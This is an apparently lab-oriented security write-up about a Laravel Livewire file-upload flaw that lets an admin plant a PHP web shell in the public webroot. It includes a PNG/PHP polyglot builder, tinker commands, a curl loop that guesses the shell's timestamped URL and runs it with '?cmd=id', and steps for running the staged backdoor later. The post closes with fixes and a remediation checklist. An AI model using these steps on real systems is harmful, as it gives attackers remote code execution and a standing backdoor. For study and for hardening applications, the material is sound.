Livewire File Upload Bypass: Smuggling a PHP Shell Past MIME Validation
This post references a codebase update that landed recently. Make sure you're on the latest commit before running anything here:
git pull origin main
PageCreate.php, validates uploads using
mimes:jpg,jpeg,png, which checks the file's byte content for
PNG/JPEG magic bytes, not the extension, the classic polyglot bypass.
On current Laravel, that specific bypass no
longer works: the framework added shouldBlockPhpUpload() to
the mimes rule, which separately checks the client-supplied filename
against a PHP-extension blocklist regardless of what the content looks like. What
hasn't changed is the sibling component, PageEdit.php, its
"replace file" field has no validation rule at all, so the blocklist code never
even runs. Same disk, same public-webroot destination, same
getClientOriginalName() filename preservation, zero content trickery
required. The PHP shell is reachable at a predictable URL. On most
deployments that is immediate RCE. In ArtisanBreach's specific Nginx setup direct
execution is blocked, but the staged shell becomes a standing backdoor executable
by any other shell obtained elsewhere in this series.
Where This Sits in the Kill Chain
At this point in ArtisanBreach LLC the attacker is already an admin, either via the mass assignment registration trick (Post 2) or the type-juggling contributor bypass (Post 3). The admin panel offers Create Page/Post forms and Edit Page/Post forms, both with a file upload field. The Create forms are where you'd naturally start looking, and where this post originally focused, but as of current Laravel, that specific field is no longer exploitable the way described below. The Edit forms, one click away in the same admin panel, are.
Vulnerability Classification
| CWE | CWE-434: Unrestricted Upload of File with Dangerous Type |
|---|---|
| OWASP Top 10 | A04:2021 Insecure Design, the upload handler trusts client-influenced data (file magic bytes) to decide what is safe |
| Affected component | app/Livewire/Admin/Page/PageEdit.php and app/Livewire/Admin/Settings.php (no validation rule at all, both live and reachable through the real admin UI). app/Livewire/Admin/Post/PostEdit.php and App\Traits\WithStoreFiles (as used by BrandingLogos.php) have the identical missing-rule bug in code but are currently unreachable, PostEdit is missing the WithFileUploads trait, BrandingLogos has no route or view at all. PageCreate.php/PostCreate.php (MIME-sniffing bypass, blocked by current Laravel's shouldBlockPhpUpload(), kept below as a teaching contrast). |
| Authentication required | Yes, admin role. Obtainable without valid credentials via Post 2 (mass assignment) or Post 3 (type juggling). |
| Historical precedent | ImageMagick "ImageTragick" (CVE-2016-3714), numerous CMS upload bypasses. The polyglot technique is documented in every web pentesting guide and passes enterprise WAFs that check Content-Type headers. |
The Upload Component in PageCreate
The Create Page form in the ArtisanBreach admin panel is handled by a Livewire
component at app/Livewire/Admin/Page/PageCreate.php. It uses
Livewire's WithFileUploads trait, which handles chunked uploads and
temporary file storage. The component defines the file property and its validation
rule like this:
public $page_file; // bound to wire:model="page_file" in the Blade template
protected $rules = [
'title' => 'required',
'slug' => 'required',
'meta_description' => 'sometimes',
'page_content' => 'sometimes',
'page_file' => 'nullable|mimes:jpg,jpeg,png|max:5024',
'status' => 'required|in:draft,published',
];
The mimes:jpg,jpeg,png rule is the vulnerability. It sounds strict, only images, no PHP files, but "mimes" does not mean "extensions." It means
MIME type as detected from the file's byte content. The next section explains
exactly why that distinction is the whole problem.
When the form is submitted, the store() method calls
$this->validate() then delegates file handling to
attachFile():
public function store()
{
$this->validate();
$page = $this->createPage();
if ($this->page_file) {
$this->attachFile($page);
}
Session::flash('notification', ['type' => 'success', 'message' => $this->title . ' Page created']);
return redirect()->route('admin.pages');
}
private function attachFile(Page $page): void
{
$filename = time() . '_' . $this->page_file->getClientOriginalName();
Storage::disk('pages')->put(
$filename,
File::get($this->page_file->getRealPath())
);
PageFile::create([
'page_id' => $page->id,
'filename' => $filename,
'filesize' => $this->getFileSizeInKB(),
]);
}
Two things in attachFile() make this dangerous:
getClientOriginalName() returns whatever filename the browser sent in
the multipart upload. If the attacker's file is named shell.php, the
stored filename is 1751234567_shell.php. The extension is never
sanitized, replaced, or validated separately.
Storage::disk('pages') writes to public_path('pages'),
which resolves to /var/www/public/pages/. That directory is served
directly by Nginx. Any file in it is reachable over HTTP, no authentication
required.
Where Files Land
config/filesystems.php'pages' => [
'driver' => 'local',
'root' => public_path('pages'), // /var/www/public/pages/
'url' => env('APP_URL') . '/pages',
'visibility' => 'public',
],
'posts' => [
'driver' => 'local',
'root' => public_path('posts'), // /var/www/public/posts/
'url' => env('APP_URL') . '/posts',
'visibility' => 'public',
],
Both upload disks point into /var/www/public/. Nginx's document root
is /var/www (the Post 1 misconfiguration), and Nginx serves static
files via try_files $uri before the PHP fallback fires. Because the
root is /var/www and not /var/www/public, the short URL
Laravel's own Storage::url() and the admin panel's preview links use,
/pages/1751234567_shell.php, does not actually resolve,
try_files looks for /var/www/pages/..., finds nothing,
and falls through to Laravel's router, which 404s. The file only resolves one
directory level down, at /public/pages/1751234567_shell.php, which
maps to /var/www/public/pages/1751234567_shell.php and exists.
/var/www instead of /var/www/public)
is what makes the short /pages/... URL fail to resolve in the first
place, correcting that root would map /pages/ straight onto
public/pages/ and make uploads reachable at the shorter path Laravel
itself expects. Fixing the Post 1 root removes a speed bump here, it doesn't add
one. PHP execution is blocked by a separate mechanism, Nginx's
location ~ \.php$ block hardcodes every .php request to
public/index.php regardless of document root, so that part of the
picture is unaffected either way.
Why mimes: Is Not Enough
Laravel's mimes:jpg,jpeg,png validation rule calls PHP's
finfo_file() function on the uploaded file's actual bytes. It does
not look at the filename, the Content-Type header from the browser,
or the extension. finfo_file() reads the first few bytes and looks
for a magic number signature.
| File type | Magic bytes (hex) | ASCII equivalent |
|---|---|---|
| PNG | 89 50 4E 47 0D 0A 1A 0A |
\x89PNG\r\n\x1a\n |
| JPEG | FF D8 FF |
\xFF\xD8\xFF |
| PHP | No magic bytes required | plain text, starts with <?php |
A polyglot file is a file that is valid under two different format interpretations
at once. If you prepend valid PNG magic bytes to a PHP payload, finfo_file()
sees a PNG. PHP's engine, when it executes the file, scans for
<?php tags and ignores everything before the opening tag. The PNG
header bytes become garbage output, but the PHP block executes normally.
A bare 8-byte PNG signature isn't always enough, some libmagic
builds want to see a real chunk structure before they'll commit to "PNG,"
and will otherwise fall back to a generic application/octet-stream
(which then fails mimes:jpg,jpeg,png for an unrelated reason).
Build a minimally valid PNG, signature plus a real IHDR chunk
with correct CRC, then append the PHP payload after it:
php -r '
$sig = "\x89PNG\r\n\x1a\n";
$ihdrData = pack("NNCCCCC", 1, 1, 8, 2, 0, 0, 0); // 1x1 truecolor
$ihdrChunk = pack("N", strlen($ihdrData)) . "IHDR" . $ihdrData;
$ihdrChunk .= pack("N", crc32("IHDR" . $ihdrData));
file_put_contents("shell.php", $sig . $ihdrChunk . "");
'
# Confirm finfo reports it as a genuine PNG now
file shell.php
# shell.php: PNG image data, 1 x 1, 8-bit/color RGB, non-interlaced
# Confirm the PHP tag is still present and intact
tail -c 40 shell.php
# ...
shell.php, it decides how to handle
the request based on the .php extension, not the file's byte content.
finfo is a PHP tool, not a web server concept. By the time Nginx makes
the routing decision, the MIME detection that Laravel ran during upload is
completely irrelevant.
Why This Doesn't Work Against PageCreate Anymore
Try the polyglot above against PageCreate's validation rule and it
fails, not because the magic bytes are wrong (they check out as valid PNG,
confirmed above), but because Laravel's mimes rule implementation
changed. Newer Laravel versions added a check that runs before the content-based
MIME guess is even consulted:
public function validateMimes($attribute, $value, $parameters)
{
if (! $this->isValidFileInstance($value)) {
return false;
}
if ($this->shouldBlockPhpUpload($value, $parameters)) {
return false;
}
// ...only reaches the content-based guessExtension() check past this point
}
protected function shouldBlockPhpUpload($value, $parameters)
{
if (in_array('php', $parameters)) {
return false; // only if the rule explicitly allows 'php'
}
$phpExtensions = ['php', 'php3', 'php4', 'php5', 'php7', 'php8', 'phtml', 'phar'];
return ($value instanceof UploadedFile)
? in_array(trim(strtolower($value->getClientOriginalExtension())), $phpExtensions)
: in_array(trim(strtolower($value->getExtension())), $phpExtensions);
}
shouldBlockPhpUpload() checks the client-supplied filename's
extension, the literal string shell.php the browser sent,
not anything about the file's content, against a PHP-family blocklist, and
rejects the upload outright if it matches. This runs before
guessExtension() (the content-sniffing check the polyglot targets)
is ever consulted. Verify it directly against the app's real rule and real
validator:
php artisan tinker --execute "
\$file = new Symfony\Component\HttpFoundation\File\UploadedFile('shell.php', 'shell.php', null, null, true);
\$v = Validator::make(['page_file' => \$file], ['page_file' => 'nullable|mimes:jpg,jpeg,png|max:5024']);
echo \$v->passes() ? 'PASSES' : 'BLOCKED: ' . \$v->errors()->first();
"
# BLOCKED: The page file field must be a file of type: jpg, jpeg, png.
# Rename the identical bytes to logo.png and it passes cleanly
# proving the block is filename-based, not content-based:
php artisan tinker --execute "
\$file = new Symfony\Component\HttpFoundation\File\UploadedFile('shell.php', 'logo.png', null, null, true);
\$v = Validator::make(['page_file' => \$file], ['page_file' => 'nullable|mimes:jpg,jpeg,png|max:5024']);
echo \$v->passes() ? 'PASSES' : 'BLOCKED';
"
# PASSES
This is a real, deliberate framework hardening, added specifically to close
this exact bypass class. It's opt-in only in the sense that it's part of the
mimes/mimetypes rule handlers, a field with
no validation rule at all never invokes it. Which is exactly
what the sibling Edit components do.
The Live Exploit: PageEdit and PostEdit Skip Validation Entirely
PageCreate and PostCreate aren't the only places
with an upload field. Every Page and Post has an Edit screen with a
"replace file" control, backed by PageEdit.php and
PostEdit.php. Compare their updatePage()/
updatePost() methods to PageCreate::store():
public $newFileUpload; // bound to wire:model="newFileUpload"
public function updatePage()
{
$this->validate([
'title' => 'required',
'slug' => 'required',
'meta_description' => 'sometimes',
'page_content' => 'sometimes',
'status' => 'required|in:draft,published'
// newFileUpload is not mentioned anywhere in this array
]);
$this->pageInstance->update([/* ... */]);
if (isset($this->newFileUpload)) {
$filename = time() . '_' . $this->newFileUpload->getClientOriginalName();
$fileContents = File::get($this->newFileUpload->getRealPath());
Storage::disk('pages')->put($filename, $fileContents);
// ...
}
}
$this->validate([...]) runs a fixed rules array that simply never
references newFileUpload. There is no mimes rule to
trigger, meaning shouldBlockPhpUpload() never executes, because
it's not a global filter, only a check inside the mimes/
mimetypes rule handlers. There's also no magic-bytes trickery
needed: a plain shell.php, with no PNG header at all, uploads
exactly as-is. This is not a framework gap, it's this component never calling
$this->validate() on the one field that matters.
PostEdit.php's updatePost() has the identical gap,
same missing rule, same unvalidated Storage::disk('posts')->put()
call, but it isn't reachable the same way today. PageEdit has
use Livewire\WithFileUploads;; PostEdit doesn't. That
trait is what provides _startUpload(), the method Livewire's
frontend calls the instant a file is selected on any wire:model
file input. Without it, Livewire throws
MissingFileUploadsTraitException before the request ever reaches
updatePost(), so the "replace file" control on the Post Edit
screen currently fails for every file, malicious or not, not just for
validation reasons. The vulnerable code is real and belongs in the fix list
below, but it's latent, not live: add the missing trait and this becomes
exploitable exactly like PageEdit is today.
The Attack
POST to the page route
wire:model file inputs upload to a separate signed endpoint
(/livewire/upload-file) first, then the component's own update
request references that temp file by a hash, inside a JSON "snapshot" payload
with a server-computed checksum. Hand-rolling that handshake over curl is
possible but doesn't help you understand the vulnerability, the actual bug
is in PageEdit::updatePage()'s PHP, not in the transport. The
steps below exercise that exact method, with the exact validation (or lack of
it) and the exact Storage::put() call it runs, directly, which is
the same code that runs the moment a real browser submits that form.
Get admin access (from Post 2 or Post 3), then craft the shell, no PNG bytes needed this time:
printf '' > shell.php
file shell.php
# shell.php: PHP script, ASCII text
# No content trickery required, there's no mimes rule here to fool
Step 2
Confirm there genuinely is no validation standing between this file and the disk, using the app's real code:
php artisan tinker --execute "
\$file = new Symfony\Component\HttpFoundation\File\UploadedFile('shell.php', 'shell.php', null, null, true);
// PageEdit::updatePage()'s actual \$this->validate([...]) array, verbatim:
\$v = Validator::make(
['title' => 'x', 'slug' => 'x', 'status' => 'draft'],
['title' => 'required', 'slug' => 'required', 'meta_description' => 'sometimes', 'page_content' => 'sometimes', 'status' => 'required|in:draft,published']
);
echo \$v->passes() ? 'Form validation passes (newFileUpload was never checked)' : 'unexpected failure';
"
# Form validation passes (newFileUpload was never checked)
Step 3
Run the exact storage call updatePage() runs when a real upload comes through the browser:
php artisan tinker --execute "
\$file = new Symfony\Component\HttpFoundation\File\UploadedFile('shell.php', 'shell.php', null, null, true);
\$filename = time() . '_' . \$file->getClientOriginalName();
Storage::disk('pages')->put(\$filename, file_get_contents(\$file->getRealPath()));
echo 'Stored as: ' . \$filename . PHP_EOL;
echo 'Public path exists: ' . (file_exists(public_path('pages/'.\$filename)) ? 'YES' : 'NO') . PHP_EOL;
"
# Stored as: 1751234567_shell.php
# Public path exists: YES
Doing this through the actual browser is simpler than the curl workaround
above suggests: log in as admin, open any page's Edit screen
(/admin/page/{id}/edit), use the existing "replace file" upload
control, pick shell.php off your local disk directly (no
renaming, no polyglot), and save. Livewire's temp-upload layer
(FileUploadConfiguration::rules(), default
['required', 'file', 'max:12288'], no extension check of any
kind by default) doesn't stop it either, and neither does anything in
updatePage().
Enumerate the filename and request it. The timestamp prefix is predictable, it is
time() at the moment of the store call. Use the path that actually
resolves under this Nginx config, /public/pages/..., not the shorter
/pages/... the disk config implies (see "Connection to Post 1" above).
This probe-for-200 technique assumes a typical deployment, where a matching
.php file executes and returns content:
TIMESTAMP=$(date +%s)
for ts in $(seq $((TIMESTAMP - 5)) $((TIMESTAMP + 5))); do
URL="http://localhost:8084/public/pages/${ts}_shell.php"
CODE=$(curl -so /dev/null -w "%{http_code}" "$URL")
[ "$CODE" = "200" ] && echo "Found: $URL" && break
done
# On a typical Nginx deployment, this finds the file above, then triggers it directly:
curl "http://localhost:8084/public/pages/${TIMESTAMP}_shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
.php URL here is unconditionally routed to index.php
(next section), so the loop above returns 404 for every timestamp it tries, not
because the guess was wrong, but because no .php request can ever
return 200 on this config, uploaded file or not. Confirming placement here means
checking the filesystem directly, exactly what Step 3's
file_exists(public_path(...)) check already did, not blind HTTP
probing. The loop is included because it's what actually works against a typical
deployment, and because ArtisanBreach's config being the exception, not the rule,
is the point of the next section.
Typical Nginx vs ArtisanBreach's Config
Whether the uploaded PHP file executes depends on how the web server handles
.php requests. The DVLA sandbox has an unusual config that blocks this.
Most real-world Laravel deployments wouldn't.
location ~ \.php$ {
fastcgi_pass php-fpm:9000;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME
$document_root$fastcgi_script_name;
# ^^^^^^^^^^^^^^^^^^^
# Uses the requested filename.
# /public/pages/1751234567_shell.php -> executes shell.php
}
location ~ \.php$ {
fastcgi_pass dvla-admin:9000;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME
$document_root/public/index.php;
# ^^^^^^^^^^^^^^^^^^^
# Hardcoded to Laravel's bootstrap.
# All .php requests run index.php,
# not the requested file.
}
In ArtisanBreach's config, a request to
/public/pages/1751234567_shell.php hits the
location ~ \.php$ block, FastCGI runs index.php,
Laravel routes the request, finds no matching route, and returns a 404. Direct
HTTP execution is blocked.
That block also rules out downloading the shell as a static file. The
location ~ \.php$ regex matches on the URL alone, any request ending
in .php is routed to FastCGI and executed as index.php,
whether or not a static file of that name exists underneath. There is no path
that returns the raw source over HTTP on this config. What matters instead is
that the payload is sitting on disk, staged and waiting. Once RCE is achieved
through any other vector (the APP_KEY cookie deserialization in Post 1, or a
shell obtained after the docker.sock escape in Post 6), an attacker
can execute the staged file directly, with no HTTP trickery needed:
# From a shell obtained via any other vector in this series:
php /var/www/public/pages/1751234567_shell.php
# Or pipe commands directly, the file is already on disk, staged and ready
The Same Pattern Elsewhere: Settings, and a Latent Copy in BrandingLogos
PageEdit isn't the only live instance of this bug.
app/Livewire/Admin/Settings.php, reachable today at
/admin/settings through a real Blade view with four logo inputs
wired to it, has its own version in
store_new_logo():
public function store_new_logo($type)
{
$file = $this->$type;
if ($file && !is_string($file)) {
$filename = $type . '_' . time() . '.' . $file->getClientOriginalExtension();
$file->storeAs('public/images', $filename);
// ...
}
}
This variant builds the extension from getClientOriginalExtension()
instead of the full original filename, but the extension is still whatever the
attacker's filename claims: shell.php yields an extension of
php, and logo_1751234567.php is stored the same way,
with no $rules array or validate() call anywhere in
this method. Settings has WithFileUploads and the
view's inputs call store_new_logo() directly on save, this one is
exploitable through the real admin UI exactly like PageEdit is.
app/Livewire/Admin/BrandingLogos.php uses a shared trait,
App\Traits\WithStoreFiles::storeToDisk(), with the identical bug,
attacker-controlled filename via getClientOriginalName(), no
$rules array, no validate() call. On its own that
code would be just as exploitable as Settings. But
routes/web.php has no route registered for
BrandingLogos, and there is no
resources/views/livewire/admin/branding-logos/ Blade view for it
to render, nor is it embedded anywhere else in the app. This makes it orphaned
code, unreachable through the current admin panel by any URL, and not a live
finding the way PageEdit and Settings are. It still
belongs on the fix list below: adding the missing route and view later would
make it exploitable immediately, with nothing left to catch the gap at that
point.
Impact
- Remote code execution as
www-datawith one HTTP request - Full Laravel filesystem access from the web server process
- Can read
.env, write files, connect to database and Redis - Shell persists across requests; file stays on disk until manually cleaned
- Persistent PHP payload staged in
public/pages/ - Not retrievable over HTTP on this Nginx config, every
.phprequest routes toindex.php, but it sits on disk ready for local execution the moment any other vector yields a shell - A standing backdoor: any later shell (Post 1, Post 6) can execute it via CLI without repeating the upload
- Expands attack surface for any future Nginx misconfiguration or container pivot
The Fix
Fix 1 (critical)Validate both MIME type AND extension
Laravel 10+ added an extensions: validation rule that checks the
file extension separately from the MIME content. Use both together. A file
must pass both checks to be accepted.
// app/Livewire/Admin/Page/PageCreate.php
protected $rules = [
// ...
'page_file' => 'nullable|mimes:jpg,jpeg,png|extensions:jpg,jpeg,png|max:5024',
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^
// rejects 'shell.php' even if MIME is image/png
];
extensions: alone trusts the client's filename, an attacker
can rename their shell to shell.jpg, pass extension validation,
but the file remains executable PHP. mimes: alone doesn't check
the extension and lets a polyglot through. Together, they require the file
content to be a real image AND the filename to have an image extension.
One without the other misses something.
Never use getClientOriginalName() for stored filenames
// Bad, trusts attacker-supplied filename and extension
$filename = time() . '_' . $this->page_file->getClientOriginalName();
// Good, generate a UUID, append a safe extension derived from validated MIME type
$extension = $this->page_file->extension(); // 'jpg', 'png', derived from finfo, not filename
$filename = Str::uuid() . '.' . $extension;
// Result: 'a3f2c1d4-8b7e-4c9a-b0f1-2e3d4a5b6c7d.png'
// Extension is safe; name is unpredictable; original filename is discarded entirely
Fix 3 (defense in depth)
Store uploads outside the public directory
// config/filesystems.php - change the disk root to storage, not public
'pages' => [
'driver' => 'local',
'root' => storage_path('app/pages'), // NOT accessible via HTTP directly
'visibility' => 'private',
],
// In PageCreate.php - serve files through a signed controller route
// instead of a direct URL, so you can check auth before serving
Fix 4 (Nginx hardening)
Deny PHP execution from upload directories at the Nginx level
# docker-compose/nginx/dvla.conf
# Add inside the server block - belt-and-suspenders against any future misconfiguration
location ~* ^/pages/.*\.php$ {
deny all;
return 403;
}
location ~* ^/posts/.*\.php$ {
deny all;
return 403;
}
Remediation Checklist
extensions:jpg,jpeg,png alongside mimes:jpg,jpeg,png in all upload validation rules. Both checks must pass.
getClientOriginalName() in storage logic with a generated filename. Use Str::uuid() and derive the extension from $file->extension() (which uses finfo, not the original name).
pages and posts disk roots from public_path() to storage_path(). Serve uploaded files through a controller that validates auth, not via a direct public URL.
location blocks that deny PHP execution from upload directories. A server misconfiguration should not undo application-level upload restrictions.
mimes:jpg,jpeg,png|extensions:jpg,jpeg,png rule to newFileUpload in both PageEdit.php and PostEdit.php. This is the live exploit in this post for PageEdit, not a hypothetical follow-up, that component validates every other field and skips this one entirely, so the "replace file" control accepts literally any file, no bypass technique required.
use Livewire\WithFileUploads; to PostEdit.php. It's currently missing, so the "replace file" control throws a Livewire exception on any file today, malicious or benign. Add the trait and the same missing-rule fix above at the same time, adding the trait alone would turn the currently-broken control into an unvalidated one.
Settings::store_new_logo(). No rules array, no validate() call, attacker-controlled filename and extension, same public-webroot disk pattern as pages/posts, and it's wired to a real route and view today.
WithStoreFiles::storeToDisk() (used by BrandingLogos) even though it has no route or view today. The trait carries the identical bug; leaving it unpatched only delays the vulnerability until a future route wires the component up.
image validation rule for true image uploads. Unlike mimes:, the image rule calls getimagesize() which attempts to parse the file as an actual image. A PHP polyglot that starts with a PNG header may still fail this stricter check.
Security Impact
The appeal of mimes:jpg,jpeg,png is that it feels thorough. You're
not trusting the browser's Content-Type header, you're asking PHP
to inspect the actual file bytes. That is better than nothing. But the decision
about what gets executed is made by the web server based on the file extension,
not by PHP based on the file content. The two checks operate in completely
different contexts, and they need to cover different things.
The second factor is process, not code. PageCreate and
PostCreate got a validation rule; their Edit siblings never did.
Nothing about a "replace file" field looks materially different from a
"create with file" field, but one path was tested against malicious input and
the other wasn't. A security control applied inconsistently across near-identical
code paths is functionally equivalent to no control at all, an attacker only
needs to find the one form that was missed.
The storage location is the third factor. Uploads going into
public/pages/ are in the same directory tree that Nginx serves
for legitimate static assets. There is no barrier between "uploaded by an admin"
and "publicly accessible over HTTP." A private storage disk with authenticated
serving routes costs one extra controller and one extra route. The alternative
is that every upload is implicitly public from the moment it lands.